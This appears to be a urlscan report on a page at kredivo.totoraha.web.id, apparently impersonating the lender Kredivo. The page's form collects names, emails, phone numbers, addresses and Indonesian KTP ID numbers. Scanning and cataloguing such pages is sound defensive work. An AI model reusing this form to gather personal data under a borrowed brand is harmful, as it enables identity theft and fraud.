www.kredivo.totoraha.web.id Open in urlscan Pro
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Form analysis
1 forms found in the DOM

POST process_input.php

<form id="inputForm" action="process_input.php" method="POST">
  <div class="form-group">
    <label for="nama">Nama Lengkap</label>
    <input type="text" id="nama" name="nama" oninput="displayUsername()" required="">
    <input type="text" id="nama" name="kode" hidden="" value="">
  </div>
  <div class="form-group">
    <label for="email">Alamat Email</label>
    <input type="email" id="email" name="email" required="">
  </div>
  <div class="form-group">
    <label for="telepon">Nomor Telepon</label>
    <input type="text" id="telepon" name="telepon" required="">
  </div>
  <div class="form-group">
    <label for="alamat">Alamat Tempat Tinggal</label>
    <input type="text" id="alamat" name="alamat" required="">
  </div>
  <div class="form-group">
    <label for="ktp">Nomor KTP</label>
    <input type="text" id="ktp" name="ktp" required="">
  </div>
  <button type="submit" class="submit-btn">Submit</button>
</form>

Text Content

INPUT DATA PENGGUNA



Nama Lengkap
Alamat Email
Nomor Telepon
Alamat Tempat Tinggal
Nomor KTP
Submit